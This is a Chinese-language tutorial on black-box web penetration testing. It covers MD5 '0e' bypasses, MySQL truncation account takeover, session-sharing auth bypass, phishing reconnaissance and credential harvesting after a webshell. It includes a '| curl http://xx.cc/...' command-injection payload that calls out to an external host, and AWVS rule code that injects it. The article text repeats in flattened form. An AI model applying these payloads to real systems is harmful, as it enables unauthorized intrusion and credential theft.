Web黑盒渗透思路之猜想
字数 1678 2025-08-18 11:37:02

Web黑盒渗透测试高级思路与技巧

1. 后台爆破高级技巧

1.1 PHP MD5哈希比较漏洞利用

  • 漏洞原理:PHP5-7版本中,当比较以"0E"开头的哈希字符串时,会将其解释为0
  • 利用方法
    • 在爆破字典中加入MD5加密后以"0e"开头的明文密码
    • 示例:240610708的MD5值为0e462097431906509019562988736854

1.2 会话共享漏洞

  • 漏洞场景:前后台使用相同的SESSION验证机制
  • 检测方法
    • 前台注册并登录后,尝试直接访问后台URL
    • 检查SESSION变量是否通用(如$_SESSION['user']
  • 利用思路:通过前台登录获取有效SESSION,绕过后台认证

1.3 MySQL字段截断漏洞

  • 漏洞条件
    • MySQL配置sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
    • 字段长度限制严格(如varchar(10)
  • 利用方法
    • 注册用户时使用类似admin[多个空格]x的用户名
    • 由于截断,实际插入的用户名为admin
    • 可能导致前台注册用户拥有后台权限

2. 扫描器绕过与增强技术

2.1 扫描器常见盲区

  • 表单验证码绕过
  • values型SQL注入(非参数型注入)
  • 存储型XSS误报率高
  • 无回显的命令执行漏洞

2.2 自定义AWVS扫描规则

  • 无回显命令执行检测
    • 向每个参数添加| curl http://xx.cc/xd.php?i=[当前URL]
    • 使用外部服务器记录请求
    • 检测脚本示例:
      scheme.setInputValue(i, unescape('| curl http://xx.cc/xd.php?i='+i_url));
      var job = new THTTPJob();
      job.url = targetUrl;
      scheme.populateRequest(job);
      job.execute();
      

2.3 结果验证脚本

  • 扫描完成后检查记录文件:
    var dzRes = http.response.body;
    if(dzRes.indexOf(scanURL.hostPort) != -1){
      logInfo('远程命令执行漏洞发现!!');
      // 生成报告...
    }
    

3. Webshell后渗透技巧

3.1 数据库密码获取方法

  • 传统方法
    • 嗅探(风险高易被发现)
    • 逆向加密算法
    • 撞库攻击
  • 创新方法
    • 修改登录验证逻辑,记录成功登录的凭证
    • 通过HTML/JS注入收集凭证:
      
      
    • 中间人攻击(针对HTTPS需注入JS)

4. 信息收集高级技巧

4.1 历史DNS记录利用

  • 方法
    • 查询目标域名的历史解析记录
    • 尝试访问旧服务器IP
    • 可能发现未清理的测试环境或备份数据

4.2 内网关联分析

  • 技巧
    • 查找同C段服务器
    • 分析子域名和关联域名
    • 通过百科等公开信息寻找关联系统
    • 识别相同CMS或框架的站点

5. 钓鱼攻击进阶

5.1 目标信息收集

  • 方法
    • 通过留言板等注入信息收集脚本
    • 记录User-Agent和IP地址:
      $http = $_SERVER['HTTP_USER_AGENT'];
      $ip = $_SERVER["REMOTE_ADDR"];
      file_put_contents("log.txt", "$ip|$http\n", FILE_APPEND);
      
    • 根据收集信息定制攻击载荷(如特定系统版本的漏洞利用)

6. 后台发现技术

6.1 重定向攻击法

  • 存储型XSS利用
    • 通过提交内容注入JS代码
    • 当管理员查看时泄露后台地址
  • A标签利用
    • 注入<a>标签捕获HTTP_REFERER
    • 发现隐藏的管理域名

6.2 HOST绑定探测

  • 工具:使用自定义hosts绑定工具
  • 方法
    • 扫描常见管理域名(如admin、manager等)
    • 尝试绑定不同IP访问

7. 真实IP发现技术

7.1 传统方法局限

  • 全网扫描效率低易被封
  • CDN识别不总是有效

7.2 创新方法

  • 漏洞利用
    • 通过SSRF、XXE等漏洞让服务器发起请求
    • 利用文件包含等漏洞获取网络信息
    • 如发现漏洞可直接getshell

8. 未授权操作漏洞

8.1 常见场景

  • 权限验证不完整:
    • 界面访问有验证
    • 但数据操作接口无验证

8.2 持久化方法

  • Cookie利用
    • 获取永不过期的认证Cookie
  • 未授权操作
    • 直接调用添加管理员等接口
    • 绕过界面直接发送操作请求

9. 渗透测试方法论

9.1 核心流程

  1. 分析:全面了解目标系统
  2. 猜想:基于经验提出可能漏洞
  3. 实验:验证猜想有效性
  4. 结果:总结可利用的漏洞

9.2 关键思维

  • 突破常规思维限制
  • 关注开发者可能忽略的细节
  • 重视逻辑漏洞而不仅是技术漏洞
  • 保持创新和灵活的测试思路

附录:实用脚本

PHP请求记录脚本

<?php
$ip = $_SERVER["REMOTE_ADDR"] ?? '';
$i = $_GET['i'] ?? '';
$txt = htmlspecialchars($ip."|".$i."\r\n");
file_put_contents("xd.txt", $txt, FILE_APPEND);
?>

AWVS自定义规则模板

// 基本请求结构
var targetUrl = new TURL(scanURL.url);
var scheme = getCurrentScheme();
var http = new THTTPJob();
scheme.populateRequest(http);
// 遍历所有输入参数
for (var i=0;i<scheme.inputCount; i++) {
  var variations = scheme.selectVariationsForInput(i);
  for (var j=0; j < variations.count; j++) {
    scheme.loadVariation(variations.item(j));
    // 设置payload
    scheme.setInputValue(i, PAYLOAD_HERE);
    // 执行测试
    var job = new THTTPJob();
    job.url = targetUrl;
    scheme.populateRequest(job);
    job.execute();
  }
}

以上内容涵盖了Web黑盒渗透测试中的高级思路和技术要点,重点突出了创新思维和非常规测试方法,适合中高级安全研究人员参考使用。

Web黑盒渗透测试高级思路与技巧 1. 后台爆破高级技巧 1.1 PHP MD5哈希比较漏洞利用 漏洞原理 :PHP5-7版本中,当比较以"0E"开头的哈希字符串时,会将其解释为0 利用方法 : 在爆破字典中加入MD5加密后以"0e"开头的明文密码 示例: 240610708 的MD5值为 0e462097431906509019562988736854 1.2 会话共享漏洞 漏洞场景 :前后台使用相同的SESSION验证机制 检测方法 : 前台注册并登录后,尝试直接访问后台URL 检查SESSION变量是否通用(如 $_SESSION['user'] ) 利用思路 :通过前台登录获取有效SESSION,绕过后台认证 1.3 MySQL字段截断漏洞 漏洞条件 : MySQL配置 sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION" 字段长度限制严格(如 varchar(10) ) 利用方法 : 注册用户时使用类似 admin[多个空格]x 的用户名 由于截断,实际插入的用户名为 admin 可能导致前台注册用户拥有后台权限 2. 扫描器绕过与增强技术 2.1 扫描器常见盲区 表单验证码绕过 values型SQL注入(非参数型注入) 存储型XSS误报率高 无回显的命令执行漏洞 2.2 自定义AWVS扫描规则 无回显命令执行检测 : 向每个参数添加 | curl http://xx.cc/xd.php?i=[当前URL] 使用外部服务器记录请求 检测脚本示例: 2.3 结果验证脚本 扫描完成后检查记录文件: 3. Webshell后渗透技巧 3.1 数据库密码获取方法 传统方法 : 嗅探(风险高易被发现) 逆向加密算法 撞库攻击 创新方法 : 修改登录验证逻辑,记录成功登录的凭证 通过HTML/JS注入收集凭证: 中间人攻击(针对HTTPS需注入JS) 4. 信息收集高级技巧 4.1 历史DNS记录利用 方法 : 查询目标域名的历史解析记录 尝试访问旧服务器IP 可能发现未清理的测试环境或备份数据 4.2 内网关联分析 技巧 : 查找同C段服务器 分析子域名和关联域名 通过百科等公开信息寻找关联系统 识别相同CMS或框架的站点 5. 钓鱼攻击进阶 5.1 目标信息收集 方法 : 通过留言板等注入信息收集脚本 记录User-Agent和IP地址: 根据收集信息定制攻击载荷(如特定系统版本的漏洞利用) 6. 后台发现技术 6.1 重定向攻击法 存储型XSS利用 : 通过提交内容注入JS代码 当管理员查看时泄露后台地址 A标签利用 : 注入 <a> 标签捕获HTTP_ REFERER 发现隐藏的管理域名 6.2 HOST绑定探测 工具 :使用自定义hosts绑定工具 方法 : 扫描常见管理域名(如admin、manager等) 尝试绑定不同IP访问 7. 真实IP发现技术 7.1 传统方法局限 全网扫描效率低易被封 CDN识别不总是有效 7.2 创新方法 漏洞利用 : 通过SSRF、XXE等漏洞让服务器发起请求 利用文件包含等漏洞获取网络信息 如发现漏洞可直接getshell 8. 未授权操作漏洞 8.1 常见场景 权限验证不完整: 界面访问有验证 但数据操作接口无验证 8.2 持久化方法 Cookie利用 : 获取永不过期的认证Cookie 未授权操作 : 直接调用添加管理员等接口 绕过界面直接发送操作请求 9. 渗透测试方法论 9.1 核心流程 分析 :全面了解目标系统 猜想 :基于经验提出可能漏洞 实验 :验证猜想有效性 结果 :总结可利用的漏洞 9.2 关键思维 突破常规思维限制 关注开发者可能忽略的细节 重视逻辑漏洞而不仅是技术漏洞 保持创新和灵活的测试思路 附录:实用脚本 PHP请求记录脚本 AWVS自定义规则模板 以上内容涵盖了Web黑盒渗透测试中的高级思路和技术要点,重点突出了创新思维和非常规测试方法,适合中高级安全研究人员参考使用。